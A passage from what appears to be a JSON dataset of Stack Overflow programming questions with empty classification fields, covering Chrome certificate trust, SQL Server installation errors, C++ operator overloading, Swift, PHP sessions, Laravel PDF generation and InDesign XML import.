&lt;/RelativeLayout&gt;\n\n&lt;/android.support.constraint.ConstraintLayout&gt;\n</code></pre>\n\n<p>When I enter the first time\n<a href=\"https://i.stack.imgur.com/TyOxC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TyOxC.png\" alt=\"enter image description here\"></a></p>\n\n<p>and when I enter for the second time\n <a href=\"https://i.stack.imgur.com/seo5W.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/seo5W.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Google Chrome Not Honoring Mac Keychain Settings","Body":"<p>I have a self-signed certificate that I generated as a <code>.p12</code> and imported into Mac Keychain. I've set the trust to <code>Always Trust</code> however Google Chrome still shows <code>Not Secure</code> and prompts me with <code>Your connection is not private</code>. Safari is trusting the certificate just fine. Does anyone know how to fix this? See image below (Its not incognito, its just a dark theme)</p>\n\n<p><a href=\"https://i.stack.imgur.com/0JhFS.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0JhFS.jpg\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"SQL Server Installation Failing -- Could not load file or assembly","Body":"<p>When running the installer from an elevated prompt, like:\n<code>C:\\SQL2012Installer\\setup.exe</code>\nI get the following error: </p>\n\n<blockquote>\n <p>Unhandled Exception: System.IO.FileNotFoundException: Could not load\n file or assembly 'Microsoft.NetEnterpriseServers.ExceptionMessageBox,\n Version=11.0.0.0 ...</p>\n</blockquote>\n"},{"Classification":"","Title":"no operator << found which takes a right-hand operand of type class Foo despite having one defined","Body":"<p>[solved] I had some bragging here that was inaccurate, the problem is related to compilation.</p>\n\n<p>My code is:</p>\n\n<pre><code>#include &lt;iostream&gt;\nusing namespace std;\n\nstruct Circle {\n void write(ostream&amp; os) const {\n os&lt;&lt;*this;\n }\n};\n\nostream&amp; operator&lt;&lt;(ostream&amp; os, const Circle&amp; rhs_c) {\n os&lt;&lt;\"circle\";\n return os;\n}\n\nint main() {\n Circle c1;\n c1.write(cout);\n return 0;\n}\n</code></pre>\n\n<p>I get the following error:</p>\n\n<pre><code>C2679 binary'&lt;&lt;': no operator found which takes a right-hand operand of type 'Circle' (or there is no acceptible conversion)\n</code></pre>\n\n<p>Whereas if the global operator&lt;&lt; actually has something that doesn't match the operands I get:</p>\n\n<pre><code>no operator \"&lt;&lt;\" matches these operands\n</code></pre>\n\n<p>I have reasons for having such a twisted print function that may break knowing why the upper code is wrong.</p>\n"},{"Classification":"","Title":"Open google search page for my query using swift (xcode)","Body":"<p>I want to open Google search page for a given query using swift.\nHere is my code that opens the google web page on my default browser but i need it to open search results for a given query. How to go about it? I am new to swift. </p>\n\n<pre><code> if let url = URL(string: \"https://www.google.com\"), NSWorkspace.shared.open(url) {\n print(\"default browser was successfully opened\")\n }\n</code></pre>\n"},{"Classification":"","Title":"Conditional button appearance","Body":"<p>I want a particular button to appear only when a user named 'admin' is logged into the site. My method is to examine the SESSION variable that contains the user name, check the value, and only have the button appear when the value is 'admin'. Here is the relative code snip. The issue I'm having is that the button appears all the time, so my code is not evaluating correctly. Or, I'm just totally on the wrong track. </p>\n\n<pre><code> &lt;div class=\"buttons\"&gt; \n &lt;a href=\"../index.html\"&gt;Kip's Home Page&lt;/a&gt; \n &lt;a href=\"rls-contentpop.php\"&gt;See Member Area Content&lt;/a&gt; \n &lt;a href=\"http://rlsforum.kipgarvey.com\"target = \"RLS Forum\" rel=\"noopener noreferrer\"&gt;RLS Forum/BB&lt;/a&gt;\n &lt;?php\n if (session_status() == PHP_SESSION_NONE) {\n session_start(); //Start session\n }\n if(isset($_SESSION['SESS_USER_NAME']) &amp;&amp; $_SESSION['SESS_USER_NAME'] == \"admin\") { \n ?&gt;&lt;a href=\"rls-export2csv.php\"&gt;View/Export Members List&lt;/a&gt;\n &lt;?php\n }\n ?&gt;\n &lt;/div&gt;\n</code></pre>\n"},{"Classification":"","Title":"Laravel snappy PDF generation with wkhtmltopdf Host not found error","Body":"<p>Using laravel 5.6 Php 7 on windows 7 machine, get every time error host not found, if i use in pdf template external resources like <a href=\"http://google.com\" rel=\"nofollow noreferrer\">http://google.com</a> wkhtmltopdf binary file works if i run command on the cli and generates pdf of the google page, aravel snappy geberates the pdf if i not use external sources like css files in the pdf template i think its a Symfony problem i test external sources with laravel 5.3 and it works laravel uses on the 5.6 version latest symfony version so i think it needs special permissions to execute external resources, pls help.</p>\n"},{"Classification":"","Title":"Importing XML into InDesign Tables using Cell tag","Body":"<p>I am writing an XSLT transform from WordML into XML, formatted for import into InDesign. But I'm having trouble with getting Table content (not CALS tables) to flow into the InDesign document as expected. When I use the <code>&lt;Table&gt;&lt;Cell&gt;&lt;para&gt;some content&lt;/para&gt;&lt;/Cell&gt;&lt;/Table&gt;</code> structure in my XML, the XML cells are appended to the beginning of the Table (with some strange content overlap), rather than replacing the existing Cells in the InDesign document. But when I don't include <code>&lt;Cell&gt;</code> tags in my XML or InDesign document, the content imports in just fine. </p>\n\n<p>I would much prefer being able to use Cell tags in my XML, as that is more straightforward in the case that there is more than one element inside a particular cell. I'm looking for suggestions on how to get the first structure to work.</p>\n\n<p>InDesign document Table tag structure (each cell is a row/column):</p>\n\n<pre>\nTable\n Cell\n H1\n Cell\n H4\n Cell\n para</pr
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment